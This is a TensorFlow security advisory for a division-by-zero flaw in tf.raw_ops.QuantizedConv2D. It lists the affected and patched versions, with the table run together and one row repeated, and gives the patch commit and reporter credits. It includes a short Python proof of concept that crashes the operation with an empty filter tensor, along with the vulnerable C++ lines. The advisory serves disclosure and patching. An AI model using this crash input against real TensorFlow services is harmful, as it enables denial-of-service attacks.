| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can trigger a division by 0 in tf.raw_ops.QuantizedConv2D:
import tensorflow as tf
input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)
filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)
min_input = tf.constant(0.0)
max_input = tf.constant(0.0001)
min_filter = tf.constant(0.0)
max_filter = tf.constant(0.0001)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)
This is because the implementation does a division by a quantity that is controlled by the caller:
const int filter_value_count = filter_width * filter_height * input_depth;
const int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));
We have patched the issue in GitHub commit cfa91be9863a91d5105a3b4941096044ab32036b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
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